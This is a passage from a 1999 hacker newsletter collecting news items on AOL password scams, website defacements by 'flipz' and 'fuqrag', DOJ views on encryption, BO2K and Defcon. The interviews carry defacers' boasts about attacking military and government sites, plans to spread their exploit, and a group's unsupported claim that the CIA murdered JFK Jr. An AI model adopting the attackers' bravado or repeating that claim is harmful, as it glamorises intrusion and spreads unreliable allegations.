      "People are banging on us constantly, all day, everyday from everywhere
       around the world." 
      
    
      @HWA
      
29.0  AOL Password Scams Abound 
      ~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by William Knowles 
      Remember the grandmother from Kansas City, North
      whose AOL account was used to send thousands of
      porn SPAMs? Well AOL password thieves have not
      stopped their shenanigans, everything from free offers
      to web page redirects to trojan horses, the methods are
      wide and varied but still abound. 

      Kansas City Star       
      http://www.kcstar.com/item/pages/business.pat,business/3773f414.a25,.html
      
      DAVID HAYES: BITS & BYTES
      Many Internet scams result in password theft

      By DAVID HAYES - Columnist
      Date: 10/25/99 22:15

      Betty Anne Brown wants to make one thing perfectly clear: She is
      not the infamous Porno Grandma. But for a brief time last month,
      hackers made it look as if she was playing one on America Online.

      About 3,500 AOL subscribers across the country received e-mail
      from Brown's AOL account in September suggesting they go to a
      Web site offering "XXX Porn, For Free, For Real." 

      The Kansas City, North, mother and grandmother became one of
      thousands of AOL users who have been victimized by password
      thieves -- low-tech computer hackers who steal passwords to
      break into AOL accounts. 

      "I'm a very straight lady," the 66-year-old grandmother said. "It was
      a little embarrassing." 

      Brown thinks the password theft happened while she and her
      husband, Linn Brown, were traveling in Italy in September. The
      couple stopped at a storefront shop in Rome that offered Internet
      access for $5 an hour. 

      "It seemed like such a great opportunity when we were traveling,"
      Brown said. "Postcards take so long to get back." 

      However, Brown thinks that while she was writing to friends and
      relatives to tell them about the trip, a hacker nabbed her login and
      password. 

      Stealing passwords, sometimes called "password fishing," is nothing
      new for AOL or other online services. However, as the number of
      AOL customers grows -- AOL announced Monday that the service
      now had more than 19 million subscribers -- the number of potential
      targets is growing also. 

      Some hackers use the passwords to break into accounts as they
      attempt to steal credit card numbers. Some use AOL e-mail to send
      out spam promoting adult Web sites or to try to steal additional
      passwords. And some just do it for kicks. 

      In the case of Brown, the thief sent out a porn notice. But a check
      found that the site, which had been set up on the free Angelfire
      community Web site, was apparently set up to steal credit card
      information. It was an adult Web site that requested credit card
      information -- but didn't really exist beyond the sign-up screen. 

      The site has since been closed by Lycos Inc., which owns and
      operates the Angelfire site. 

      Brown said she discovered the scam when she started receiving
      irate e-mail from people who had received the notices from her
      account. She looked in her "sent mail" folder and found hundreds of
      sent e-mail notices, all alphabetized. 

      She wrote those who complained to apologize. "I don't know if they
      read it or not, but I thought it was the right thing to do," she said. 

      The Browns changed their passwords and assumed the problem
      was over. 

      But just last week, AOL finally caught on to the problem and
      suspended the Browns' accounts. The couple found out about the
      suspension when they discovered that their passwords didn't work.
      They called AOL and explained the situation, and AOL restored
      their service. 

      Security always has been a big problem for AOL. 

      "It's been said, accurately, that AOL is a marketing company, not a
      technology company," said David Cassel, editor of AOL Watch, an
      e-mail newsletter with 50,000 subscribers. 

      In the "neighborhood watch" area of AOL, the online service lists
      dozens of scams used to steal passwords. Many read like this one: 

      "Dear America Online Member, 

      "Your account was given 6000 Minutes of America Online
      credits. This means you get AOL for free for 6000 minutes! Just
      Click Here to confirm the credit. Thank you America Online
      user." 

      Most likely, that link took the user to a site set up specifically to
      steal a user's password. 

      That's the fastest growing scam on AOL. 

      An e-mail provides a Web site link and asks the person who
      receives it to click on the link. Some of those links lead to Web sites
      that quietly download a "Trojan horse" program that goes into a
      user's computer and looks to see if that person stored their AOL
      password on the hard drive. 

      Others lead to bogus Web sites that look like AOL and ask the user
      to log in. 

      Some are bogus adult sites that ask for credit card information. 

      The AOL neighborhood watch area was set up in response to a
      growing number of attempts to steal user passwords and credit card
      information. 

      "Never click on a link in an e-mail," said Rich D'Amato, an AOL
      spokesman. "AOL will never ask for your password or user name.
      Anyone pretending to ask for that information is not from AOL." 

      D'Amato suggested that surfers using the Microsoft Internet
      Explorer Web browser set the security setting on their software to
      "medium" or higher. The security setting, on the browser's toolbar
      under "tools" and then "Internet options," alerts users to any
      download that could be dangerous. 

      AOL also provides a free trial version of a virus software that users
      can download. The software, which expires after 30 days, can be
      downloaded each month for free, D'Amato said. 

      In Brown's case, it's possible her password was stolen by a hacker
      who installed a program on the computer in Rome that records each
      keystroke made by a user. The information can be retrieved
      remotely. 

      D'Amato said users who travel should carry a copy of their virus
      software and its updates, and install the software on any computer
      they use to check for such programs. 

      Cassel, however, thinks AOL creates some of its own problems by
      being too secretive about the extent of the company's security
      problems. 

      "AOL is very publicity sensitive," Cassel said. "It creates the ideal
      atmosphere for hackers to operate in." 

      The experience hasn't dampened the Browns' enthusiasm for the
      Internet or AOL. 

      The couple uses AOL to keep in contact with grandchildren,
      children and relatives, and for general research. 

      "I wanted people to know what can happen," Brown said. "It would
      have been so easy just to change my password and avoid all this." 

      To reach David Hayes, technology reporter, call (816) 234-4904 or
      send e-mail to dhayes@kcstar.com 
      
      @HWA
      
30.0  United Loan Gunmen Return 
      ~~~~~~~~~~~~~~~~~~~~~~~~~
      
      Note: the ULG is erroneously referred to as the "United Lone Gunmen"
      the correct name is United Loan Gunmen, substitute where necessary - Ed
      
      From HNN http://www.hackernews.com/

      contributed by Code Kid 
      More new interesting defacements have joined the one
      done of the Microsoft site last Sunday. The Web Site of
      George Magazine has been defaced by the United Lone
      Gunmen, additional defacements included U.S. Navy
      Coastal Systems Center, Andersen AFB, and a slew of
      others. 

      Statement by ULG - via OSALL
      http://www.aviary-mag.com/News/ULG_Speaks/ulg_speaks.html
      
      Interview with Flipz - via OSALL
      http://www.aviary-mag.com/Interviews/Flipz/flipz.html
      

      Yesterday morning HNN mentioned that a Microsoft web
      page had been defaced two days prior. Not really big
      news, web page defacements happen on a daily basis,
      but the mainstream media picked it up and thought it
      was important enough to run a two day old story. Here
      are some of the links. 

      MSNBC
      http://www.msnbc.com/news/327726.asp?cp1=1
      
      UOL - Brazil
      http://www2.uol.com.br/info/infonews/101999/26101999-19.shl
      
      ABC
      http://abcnews.go.com/sections/tech/DailyNews/mshack991026
      
      Wired
      http://www.wired.com/news/technology/0,1282,32142,00.html
      
      Ultimahora - Portugal      
      http://ultimahora.publico.pt/barra-central.asp?id=5883
      
      Statement by ULG      

      ULG Speaks
      10/27/99                                                            ULG

      [Editor´s Note: The following is an exclusive statement given to OSAll
      by members of United Lone Gunmen.  This statement is in regard to the
      recent defacement of George Magazine by ULG.  A mirror is available
      at Attrition.]

      The reason behind the georgemag.com hack was more of a pro-hack than a
      hack bashing the administrator/organisation/etc.  We of ULG believe JFK Jr.
      was murdered in his plane by a bomb implanted before take off. Shortly after
      he radioed into the tower saying everything was fine, the tail was blown off,
      causing his demise, as well as his passengers.  ULG believe the bomb was
      planted by CIA in accordance with the Bush Administration in an effort to
      'shut him up'. JFK Jr. supposedly wanted to run for president, and knowing
      he would have a supreme chance at winning, the Bush Administration could
      not allow this. Being that there is a ungodly amount of money put into Bush's
      campaign, they were forced to kill him.  This is only conspiracy theory, and
      may not lead no where, but should Bush win...  it will bring more thought to
      this theory.
      
      
      Interview with flipz;
      
      
      Interview With Flipz
      10/27/99

                                                     Mike Hudack
                                                   Editor-in-Chief

      Flipz is a young man who both goes to school and moonlights as a systems
      analyst somewhere.  He´s got a bright future for someone only fifteen years
      old [Editor´s NOTE: As the writer of this article, I must admit that I
      am but sixteen years old.]... And, at that young age, he has been covered
      in MSNBC, Ziff Davis, Slashdot and so many more.  At that young age
      he´s made history as the first person to deface a Microsoft Web page --
      ever.

      "I do it for fun, just like everyone does it for fun," Flipz said in an effect to
      explain why he defaces sites, "we don´t do it because we have to, we don´t
      do it because we want to, we don´t do it because it´s fun."  He says that his
      first defacement was when he was around ten or eleven -- that time a
      Solaris machine.  

      He cnows that he hacs but doesn´t now that he´s defaced servers?

      Andersen Air Force Base

      "Hold on five seconds, I´ll tell you," he told me when I asked if anything else
      was happening soon.  After a couple affirmatives and a few obscenities he
      informed me that he´d just gotten his latest defacement.  "Andersen.af.mil,"
      he calmly told me.

      It was just the latest in a string of sites he had previously held root on. 
      Apparently something has happened in Flipz´ life to make him want to just
      throw it all out.  "It´s been tough," he said.  "I just wanted to have some
      fun," let out some pent-up aggression.

      Microsoft

      Now it seems that he targets Microsoft NT boxes exclusively, explaining
      that he hates Windows NT -- and that Windows 2000 pisses him off even
      more.

      The thing that Flipz is most famous for right now is defacing the first
      Microsoft site ever.  He was on the phone with someone when he defaced
      it...  When he heard it was the first he was excited, but not suprised.  "I kind
      of knew it, but I didn´t know it," he says about the defacement.  

      High Profile

      Like the Microsoft defacement, all of Flipz´ attacks have been attention
      garnering, although none so much as that.  He´s attacked numerous military
      sites, including from the Navy and Army.  In addition he´s defaced two
      Department of Energy Web sites and the Duracell Battery Company,
      among others.

      Law Enforcement

      It was a couple months ago when Flipz defaced People´s Bank, a relatively
      small Connecticut bank.  Somewhat aftewards Attrition.org was
      subpeonaed for any records they may have pertaining to Flipz and the
      defacement.  When I told him about the subpeona Flipz was rather shocked
      that the FBI hadn´t raided him yet.  "It´s been a while... you´d think they
      would have at least stopped me after White Sands [Missile Base.]"

      The FBI didn´t though.  At one point during our conversation Flipz thought
      he was being raided as a black van rounded the corner to his house.  It
      turned out to be nothing, however.  "I´m just sitting on edge, waiting for
      them to raid me," he said.  

      He explained that he hadn´t done much to cover his tracks because they´d
      find him anyway.  "Why bother with twenty hops when they´ll just issue
      twenty subpeonas?"  And, he added, "even if I cover my tracks well... all
      they need is one person on IRC to say `oh, I know who this person is.´"

      The FBI, at this point, doesn´t seem to know Flipz´ identity.  They asked
      me several times in a later interview, and each time came up empty because
      I didn´t know myself.  More is available on the FBI.

      Skills

      Some people on IRC have questioned Flipz´ skills.  Flipz says that he
      "works with NT on a daily basis [as a] systems analyst" but others aren´t
      too sure.

      "He´s demonstrated no real NT skills," said one IRCer who knew flipz but
      wished to remain anonymous.  This IRCer said that all the defacements
      were on NT systems running IIS, insinuating that Flipz was simply using the
      eEye exploit released earlier this year.

      But Flipz mantains that "I´m not using IIS, I´m not using FrontPage, I´m not
      using FTP exploits..."  Rather, he says he´s using "some exploits modified
      for my own use and a private one or two."  More detail on his
      methodology, or speculation thereof, is available.

      More to Come

      This article was put together in the ten or fifteen minutes after I got off the
      phone with Flipz.  This article is to be considered a work in progress and
      will be updated and mantained throughout the day as more work can be
      done on it.
      
      
      MSNBC;
      
      Don’t blame love for Microsoft hack
      Teen tells MSNBC that personal problems drove him to deface
                                                  By Mike Brunker 
                                                            MSNBC

      Oct. 27 — The hacker who broke into Microsoft’s
      computers and publicly bragged about it says it
      was personal problems — not unrequited love —
      that led him to attack the computer giant. “Some
      bad things have been happening in my life and I
      just figured I’d go on the Internet and escape
      reality and see how much trouble I can get into,”
      the hacker, who gave his age as “under 16,” said
      Wednesday in an interview with MSNBC, hours
      after he vandalized four more government Web sites.
      
            THE HACKER, who uses the handle “flipz,” on Tuesday
      became the first person known to have defaced one of
      Microsoft Corp.’s computers after he left electronic graffiti on
      the company’s Conference Management Server site. He also
      is responsible for vandalizing at least 10 government Web sites
      since Oct. 20.
             Sources at the Redmond, Wash.-based company said the
      hacked machines were not part of the corporate network, but
      rather part of a “direct-tap network” used by developers and
      partners for testing purposes. Though efforts are made to keep
      them secure, these computers are connected directly to the
      Internet, and are one step removed from Microsoft’s
      corporate network, the sources said. (MSNBC is a
      joint-partnership between Microsoft and NBC News.)
             In a phone interview Wednesday, flipz confirmed his
      identity by providing details of a previously unreported
      intrusion into the Web site of a leading Internet search engine. 
             His account was subsequently confirmed by officials at the
      company on the condition that the site not be identified. 
             
      REPORTED, BUT NOT DOCUMENTED
             Attrition.org, a reliable computer security site that
      maintains an archive of hacked Web sites, also confirmed that
      flipz reported he had vandalized the site, but it was not
      documented because the hacked site was removed before
      evidence could be gathered.
             Flipz took issue with the MSNBC’s portrayal of him as a
      “lovesick hacker” in a story Tuesday reporting the Microsoft
      break-in, a description based on what appeared to be love
      notes for another hacker known as “f0bic” that he left on some
      of the sites he vandalized. “Flipz was here and f0bic, your
      seksi (sic) voice helped me through the night,” read one note
      left on the Microsoft Web page, which concluded with a threat
      against CEO Bill Gates. 


             “That was just a bit from ‘Austin Powers.’ We don’t have
      a sexy relationship or anything. He’s just like my friend,” flipz
      said, adding that f0bic, a member of the apparently defunct
      hacking group Spl0it, had nothing to do with his intrusions.
             The hacker was vague on many specifics about his life
      and the reasons for the attacks — he would only say he lived
      on the West Coast, he declined to give his age except to say
      he is “under 16,” and he refused to provide specifics of how
      he was able to gain entry into the NT servers, though he said
      he had been trained as an NT operator.
             
      HACKING IS ‘LIKE A DRUG’
             He blamed unspecified personal problems for the spate of
      intrusions, adding that staying up all night hacking was “like a
      drug” that allows him to forget about life’s demons.
             “You just forget everything. Everything. You can’t
      remember your name and s—-. Everything changes.”
             He said his parents were not concerned about his
      nocturnal activities, noting that they had told him, “Get good
      grades, don’t drop out of school and we’ll be happy.”
             As he has indicated in messages left on several of the
      hacked sites, flipz said he expected to be arrested as a result
      of his hacking spree. 
             “I was expecting to get raided yesterday, but nothing
      happened so I don’t know. ... I’m a minor so I’m not really
      worried about that,” he said. 
             The FBI declined to say whether flipz was under
      investigation, but a spokesman for the White Sands Missile
      Range said the Army Criminal Investigation Command was
      looking into the attacks on the service’s computers.
             
      FOUR MORE FEDERAL SITES HIT
             The young hacker continued his assault on federal sites
      Tuesday night, altering the two Department of Energy sites, the
      Hanford Nuclear Reservation and the Office of Procurement
      and Assistance Management; the Navy Coastal Systems
      Center and Anderson Air Force Base, according to
      attrition.org.
             In the past week, he also has hacked the pages of the
      U.S. Army Reserve Command, the White Sands Missile
      Range, the U.S. Army Dental Care System, the Navy
      Management System Support Office, the Substance Abuse
      and Mental Health Services Administration and the
      Department of Veterans Affairs.
             
             MSNBC technology writer Bob Sullivan contributed to
       this report.
       
       
       
                               
      
      @HWA
      

31.0  Flipz' exploit
      ~~~~~~~~~~~~~~

      Flipz´ Exploit
      10/28/99

                                                    Mike Hudack
                                                   Editor-in-Chief

      Whenever I talk to someone about the recent spate of government Web
      defacements one of the first things they ask me is if I know what exploit is
      being used.  The answer is invariably the same -- no.  Everyone from eEye
      to the FBI has asked the same question, and the answer is always the same.

      The speculation runs from a repackaged eEye exploit to an FTP
      vulnerability to a custom-made script written by Flipz himself.  The answer
      doesn´t seem to be presenting itself any time soon.

      An Anonymous Source

      An anonymous source intimately involved with Flipz and the development of
      the exploit gave me a call only a few minutes ago.  He says the following:

           "flipz came up with the idea to the exploit, but he
           doesn't know how to code himself.  He then went to
           someone, probably a member of the ADM Crew, who
           wrote the actual exploit.

           It's actually kind of recoded RDS, but [flipz and
           the rest] not going to release the actual
           vulnerability."

      This source explained that F0bic was somehow involved in the
      development of the exploit, but refused to elaborate on that.

      Flipz´ Version

      Flipz categorically refuses to tell me anything about his exploit, explaining
      that he "can't tell [me] what I'm using."  He would, however, say that it "isn´t
      a hard-core exploit."  Apparently it isn´t that complicated -- he says "if
      someone sat down and looked at this exploit for a few hours they´d call
      themselves stupid for not thinking of it.  It´s very simple."

      He says the idea came from an article in Buffer Overflow, the Hacker
      News Networks´ original article section.  "It was presented as theory in
      Buffer Overflow.  I just made it reality," he claims.

      It´s interesting, however, that he has contradicted himself in his zeal to keep
      his exploit secret.  At one point he said "it´s a repackaged exploit," while
      later he claimed it was from Buffer Overflow.  It seems that it would have to
      be one or the other.

      The Federals

      The FBI apparently has no idea what Flipz is using to deface these sites.  I
      was asked by two special agents, one in Washington DC and one in New
      Haven, CT about what exploit he was using.  Both made it relatively clear
      they had no idea.

      They seemed to know what they were talking about though, and asked me
      about a few specific possibilities.  I simply told them to check the site if they
      wanted information.  This is all I have to offer.

      The IRC Opinion

      In speaking with several security consultants on IRC, it´s pretty clear that
      most people consider Flipz (and hence his friends) script kiddies.  "It´s
      almost certainly iishack," said one consultant on IRC.  

      The speculation almost refuses to touch the possibility that Flipz wrote the
      exploit himself.  "If anything, it´s repackaged," one person acknowledged.

      Pretty much everyone refused to be quoted even by pseudonym, saying
      they weren´t one hundred percent certain.  As we all know, in the security
      community there´s something of a culture against uncertainty.

      Changing Hands

      Regardless of what the exploit may be, it has changed hands at least three
      times.  First Flipz had it -- whether he developed it, repackaged it, or
      downloaded it.  He then passed it on to F0bic (who, as far as OSAll can
      tell, never used it).  From there it went to Fuqrag, with Flipz´ permission.

      @HWA
       
           
       
32.0  Fuqrag interview
      ~~~~~~~~~~~~~~~~
      
      From OSALL
      
     
      Interview With NSA Defacer
      10/28/99

                                                      Mike Hudack
                                                    Editor-in-Chief

      There have been two firsts in the world of Web site defacements in the last
      two days.  First Flipz defaced defaced a Microsoft server for the first time in
      history.  This flooded the Attrition Mirror with traffic -- more than nine gigs of
      it.  Now someone who calls himself Fuqrag has defaced a National Security
      Agency Web site.

      The site defaced by Fuqrag, the Defense Information School, was left largely
      intact on the face.  A splash page asking users to click through was left
      identical to the original version -- but the page people clicked through to
      contained the following message:

           fuqrag 0wnz the DoD!! hello to: hst, vghk, dayzee,
           zi, flipz, f0bic, microwire, and oclet .. this site
           was edited by fuqrag .. hakked for cristyn!!! 

      The National Security Agency is responsible for cryptological security for the
      United States government and is usually responsible for computer security
      tasks as well.  Yesterday there was speculation that an NSA site was
      defaced but it turned out to belong to the Navy.  Today an NSA server was
      actually defaced.

      OSAll spoke with fuqrag, who agreed to a phone interview on the condition
      that recordings wouldn´t be kept.

      Why Deface?

      Fuqrag has, like flipz, gone on something of a defacement rampage in the last
      few days.  Government, military and more servers have fallen to him -- and
      all after flipz gave him an exploit to use.  

      "Normally I´d stay away from [defacement] -- I haven´t defaced anything for
      like two years," he told me.  His girlfriend, Cristyn, had just broken up with
      him, and that´s why he started the defacements, he said.

      "At this point... it´s like what the hell.  If Armageddon came tomorrow, that´d
      be a good thing," he said.  "I used to think defacing servers was lame, but
      now I think it´s fun," he treats it as a way to strike out at a world that´s
      closing in on him.

      "I´ve got three pscyhologists who´ll tell you I´m insane..." he said as he
      explained why he wouldn´t be spending much time in prison.  "I think I´ll
      probably get raided though -- but no matter what, I won´t be spending much
      time in prison."

      Targeting the Government

      According to fuqrag, "I didn´t know it was NSA... But that´s pretty damn
      cool."  He was simply going for "anything with .gov or .mil in the URL," he
      explained.

      "I don't hate our country I hate the government.  They're always trying to
      control everything... the greatest freedom we've ever had is the internet and
      they try to control it," he explained.  He has a particular dislike for the Navy
      because "[his father] was twenty-three years naval intelligence and they really
      fucked him up."

      Brushes With the Law

      Fuqrag has been raided at least once previously for "carding and cell
      cloning."  He was brought to a local FBI field office and interviewed for
      almost an entire day, at which point he says he was offered a job.  "I thought
      about it for a day or two and told them no."

      "I was actually really lucky...  I had like two million pairs [cell phone cloning
      information] on zip disks, along with some cells sitting in a drawer."  The FBI
      agents didn´t open the drawer, however, leaving them with no evidence
      against Fuqrag.

      Member of gH

      Fuqrag is also a member of global Hell, a rather famous group who have
      defaced numerous sites, including the White House Web site.  He says he´s
      "the oldest member of gH, and probably the oldest member they´ll ever
      have," at 30.

      gH is, of course, famous for the White House defacement and the numerous
      FBI raids that followed.

      More to Follow

      Flipz, Fuqrag and several others have a "custom exploit flipz wrote" that
      they´ve been using against the Windows NT boxes.  If either one of them
      gets raided there are plans to post the exploit on the Net "with a message
      telling every [script] kiddie to start using it."

      In addition they claim to already have administrator (root on *nix boxes)
      access to many high profile sites, including Barnes & Noble and Comp
      USA.  Fuqrag also says he´s working on defacing MTV.com.

      In addition, they say they´re going to start sending a message with their
      defacements.  "We haven´t really said anything," fuqrag explained, "we´re
      going to start talking."

      @HWA      
      
33.0  Privacy and Encryption Labeled Antisocial By DOJ 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Weld Pond 
      For some reason this hasn't made much press but it
      looks like the DOJ considers privacy and encryption
      antisocial. According to Scott Bradner, an Internet
      Engineering Task Force area coordinator, someone high
      up in the DOJ told him that if the IETF was to support
      encryption it would be an 'antisocial act.' 

      Actually, private property is antisocial. Under socialism,
      there is no private property.
      Ayn Rand said in The Fountainhead "Civilization is the
      progress toward a society of privacy." 

      Wired - It is buried on the second page       
      http://www.wired.com/news/politics/0,1283,31937,00.html
      
      How MS' Junket Paid Off 
      by Declan McCullagh 
      
      3:00 a.m. 16.Oct.1999 PDT WASHINGTON -- When Microsoft invited free-market 
      allies to its campus last month, its PR flacks billed the all-expense-paid 
      junket as an information-sharing session. 

      But some critics aren't so sure. 

      Just after attendees got home, they fired off a letter to Congress 
      suggesting that the budget of the Justice Department's antitrust division 
      should be pared down a little. Or, perhaps, maybe a lot. 

      Now, it's fair to say that groups like Citizens for a Sound Economy, 
      Citizens Against Government Waste, and the National Taxpayers Union are 
      hardly fans of aggressive antitrust enforcement, and -- if they had gotten 
      around to it --       would have sent the letter on general principles. 

      But it's probably also true that getting fat checks from Microsoft 
      provided an additional incentive to make some time. 

      No matter, says Al Foer, president of the American Antitrust Institute, 
      who calls it coercion. 

      "With negotiations reportedly under way to resolve the government's case, 
      Microsoft's salvo is clearly an attempt to leverage its position through 
      intimidation.... This lobbying effort is part of a longer-range strategy 
      to keep the       government from applying the Sherman Act to the high 
      technology industry of the future -- which Microsoft hopes to continue to 
      dominate," he said in an email message Friday. 

      Meanwhile, Microsoft hasn't been idle. "Microsoft called us today and 
      wanted us to start writing letters to the Hill," said a source close to 
      one group that receives funds from MS. "Nobody was quite sure what that 
      would accomplish." 

      YEAH, GOOD LUCK: Lisa Dean has an unlikely goal: To persuade her fellow 
      conservatives to abandon their long-standing quest to rid the Net of 
      anything that might make your grandmother blush. 

      As vice president of Paul Weyrich's Free Congress Foundation, Dean has 
      recently been busy opposing a bill requiring federally funded libraries 
      and schools to install filtering software. The bill, championed by Ernest 
      Istook (R-Oklahoma),       is part of a juvenile justice bill that 
      Congress is in the final stages of considering. 

      "I'm trying to get conservatives to see what Istook is doing is a 
      precedent for giving Washington control. Then someone else comes in later 
      and says we've got to filter gun sites. Then the tobacco industry gets 
      filtered and then       comes fast foods," Dean says. 

      "That's the attitude of the right. As long as they get rid of pornography 
      that's all they care about." 

      UNCERTAIN ALLY: When the White House hired law prof Peter Swire this 
      spring, top officials proclaimed him to be the administration's chief 
      privacy czar, and assured civil libertarians that Swire would be their 
      inside ally. 

      But that hasn't turned out to be the case. Instead, Swire has made a point 
      of defending the Clinton administration's privacy misdeeds. 

      "Their MO is to send out their privacy guy Swire," complains one 
      disgruntled privacy advocate. 

      Swire was scheduled to testify for the administration at a House committee 
      hearing on Thursday, but it was postponed until November. 

      The topic: FidNet, the controversial plan that would include ongoing 
      government surveillance of the Internet. 

      
      TRADEMARK TUSSLE: Law professors are urging the US House of 
      Representatives to delay voting next Tuesday on the Trademark Cyberpiracy 
      Prevention Act. 

      In a letter sent to Speaker Dennis Hastert late Friday, they said the bill 
      unfairly expands the rights of trademark owners far beyond any given under 
      existing law, and benefits corporations at the expense of individuals. 
      Signers include       Harvard University's Lawrence Lessig, Georgetown 
      University's Julie Cohen, and University of Miami's Michael Froomkin. 

      PRIVACY IS AN "ANTISOCIAL ACT": Scott Bradner wasn't surprised to hear the 
      FBI say this week that they wanted an easily wiretappable Internet. 

      The veteran Internet Engineering Task Force area coordinator and Harvard 
      University networking guru has already had his arm twisted by the Feds. 

      It happened when the IETF decided to wire encryption into the 
      next-generation Internet protocol, IPv6. 

      "Someone very high up in the US Justice Department told me that week that 
      for the IETF to support encryption was an 'antisocial act,'" Bradner said. 

      TELL US WHAT YOU REALLY THINK: Debate is getting snarly on a mailing list 
      the IETF created to debate whether the Net should be tappable for the Feds 
      -- or, for that matter, non-US police too. 

      So far, support for the scheme seems to be coming mostly from telephone 
      companies. 

      "Can we just write the preface that says this is a useless disgusting, 
      repugnant thing, but if we need to do it, this is how we do it, and get on 
      with doing it?" wrote one engineer. 

      Big mistake. Soon libertarians were flaming him and his allies 
      mercilessly. "I'd like to step back one step from the technical 
      discussions of which variant of Zyklon B is most effective, to discuss the 
      question of whether this is a good idea       anyway," wrote longtime 
      cypherpunk Adam Back, making a reference to the poisonous gas used by the 
      Nazis. 

      Back's solution: A no-cooperation approach. 

      BEWARE TECHNOCRATS: What's the only thing worse than having US government 
      bureaucrats dictate Internet standards? Answer: Having international 
      government bureaucrats do it. 

      That's what the International Telecommunications Union, a paragon of 
      byzantine bureaucracy, is planning. Yoshio Itsumi, secretary general of 
      ITU, said at the Telecom 99 forum in Geneva that he was itching to get 
      into the job of       influencing standards like domain name 
      administration. 

      One longtime ITU critic sent us a four-point criticism of the plan. 

      In interests of brevity, here's point Numero Uno: "They did everything 
      possible to prevent [the Internet from] coming into existence - ranging 
      from banning private international user networks, preventing the lease of 
      private circuits for       Internet use [and when that began to fail, jack 
      up prices so high it had the same effect], promulgating alternative 
      standards that were mandated for use rather than Internet standards, 
      promulgating alternative services, funding alternative implementations, 
      and basically bad-mouthing and banning the Internet from their forums and 
      dialogue." 

      Hey, if you think that's dense, be glad we didn't include points two 
      through four. 

      GOP.gov: Last week we told you about Republican Conference Chairman J.C. 
      Watt's candid "they-suck" appraisal of his colleagues Web sites. 

      Now he's decided to do something about it. 

      A project under development called "GOP.gov" will let party loyalists 
      craft their own myGOP.gov home page where they can receive the latest 
      Republican info on both local and national topics. 

      The forthcoming Web site will replace hillsource.house.gov. 

      The plan is for much of the news to be provided by GOP House press 
      secretaries. 
      
      @HWA
      
34.0  B02K Reviewed By WinNT Magazine 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Weld Pond 
      Windows NT Magazine has published an extensive
      review of BO2K. WinNT Mag says that the open source
      code, its ability to remote admin systems, and its
      encryption features are all good but derides the product
      for not having logging capabilities. (It is good to finally
      seeing BO2K taken seriously) 

      Windows NT Magazine - Subscription required
      http://www.winntmag.com/Articles/Print.cfm?Action=Print&ArticleID=7254
      
      BO2K - They are having connection issues at the moment       
      http://www.bo2k.com
      
      @HWA
      
      
35.0  MP3 Pirates Beware 
      ~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Evil Wench 
      The International Federation of the Phonographic
      Industry (IFPI) has launched a major crack down on
      internet MP3 pirates. Targeting hundreds of sites in over
      20 countries the IFPI hopes to remove over 1 million
      pirated songs from the internet. (This will do nothing but
      drive them further underground. 

      ZD Net       
      http://www.zdnet.com/zdnn/stories/news/0,4586,2383311,00.html?chkpt=zdnntop
      
      --------------------------------------------------------------
      This story was printed from ZDNN,
      located at http://www.zdnet.com/zdnn.
      --------------------------------------------------------------
      
      Music execs threaten to kill MP3 sites
      By Reuters 
      October 28, 1999 5:21 AM PT
      URL: http://www.zdnet.com/zdnn/stories/news/0,4586,2383311,00.html
      
      LONDON -- The global music industry on Thursday outlined plans for a coordinated attack on
      Internet piracy, taking action against hundreds of outlaw sites in more than 20 countries. 
      
      The International Federation of the Phonographic Industry (IFPI) said its strategy was aimed at
      paving the way for artists and record companies to deliver music electronically and legally around
      the world. 
      
      A global anti-piracy operation
      The group's legal initiatives comprise moves to close illegal sites and delete unauthorized files in
      countries around the globe from Japan to the United States, Argentina, South Africa and Europe. 
      
      "Today's enforcement campaign by IFPI shows that where Internet pirates are persistently
      breaking the law, there is now a global anti-piracy operation which will stop them," said IFPI
      Chairman Jay Berman. 
      
      However, the IFPI said there was an urgent need to introduce copyright legislation worldwide
      specifically to protect against online piracy. The IFPI estimates there are some 1 million illegal
      music files posted on the Internet. 
      
      The group's campaign targets two groups: people who are uploading
      material on to the Internet, mainly in the MP3 format, and Internet
      Service Providers who may be hosting illegal Web sites. 
      
      @HWA
      
36.0  Red Herring Reviews Defcon 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Tan 
      It is a little late but Red Herring Magazine has a review
      of this years Defcon. They take an interesting view on
      the changing face of the underground. 

      Red Herring       
      http://www.redherring.com/mag/issue71/news-security.html
      
      Security 
      Hackers go corporate 

      By Niall McKay
      Red Herring magazine
      From the October 1999 issue 

      Mockery is catching. This year's Def Con hackers' conference had all the 
      corporate professionalism of a mainstream computer industry event. And the 
      more the hackers strove to subvert their commercial adversaries, the more 
      they became like the company they love to hate: Microsoft (Nasdaq: MSFT). 

      In July Las Vegas was crammed with hackers, crackers, self-proclaimed
      security experts, "script kiddies" (novices), and "scene whores" 
      (groupies). High-profile groups gave ritzy, hour-long presentations on
      their software tools, a PR agency pampered journalists in the pressroom,
      and hacking supergroups like the Lopht and the Cult of the Dead Cow hawked
      $20 T-shirts. 

      The star of the conference, the Cult, launched its hacking product Back 
      Orifice 2000 (a vulgar homage to Microsoft's BackOffice suite) in a slick 
      demo complete with electronic music and video presentations. Back Orifice 
      is not a hacking program, the Cult said, just a remote-administration 
      tool. In fact, it is a so-called Trojan horse program that, once 
      downloaded, can give a hacker complete access to any machine on a network. 
      "Back Orifice is just a tool, like a hammer," said its author, who goes by 
      the nickname of DilDog. 

      The smooth professionalism of Def Con '99 is just a sign of the changing 
      times. As the world embraces electronic commerce and as security issues 
      become paramount, sections of the hacker community are pushing to 
      legitimize themselves. Over the years, the Lopht has obtained an air of 
      respectability. It is a registered corporation, does consulting work for 
      security companies like Counterpane Systems, and has even testified before 
      the U.S. Senate on the security of government data. 

      But hackers' relationship with law enforcement remains an uneasy one. 
      Officials from the Federal Bureau of Investigation and the National 
      Security Agency attended but risked being picked out of the audience in 
      Def Con's traditional "Spot the Fed" contest. And Brian Martin, a 
      self-professed "ex-hacker" better known as Jericho, teaches a Hacker 
      Tracker course to FBI and NSA officials even though he's under 
      investigation for defacing the front page of the New York Times online 
      edition -- a charge he denies. ("But they still need serious help," he 
      says.) 

      So where is hacking headed next? Rumor has it that venture capitalists are 
      on the prowl for
      investment-worthy hacker -- er, security -- startups. 
      
      @HWA
      
37.0  Hong Kong to Create Government Gateway 
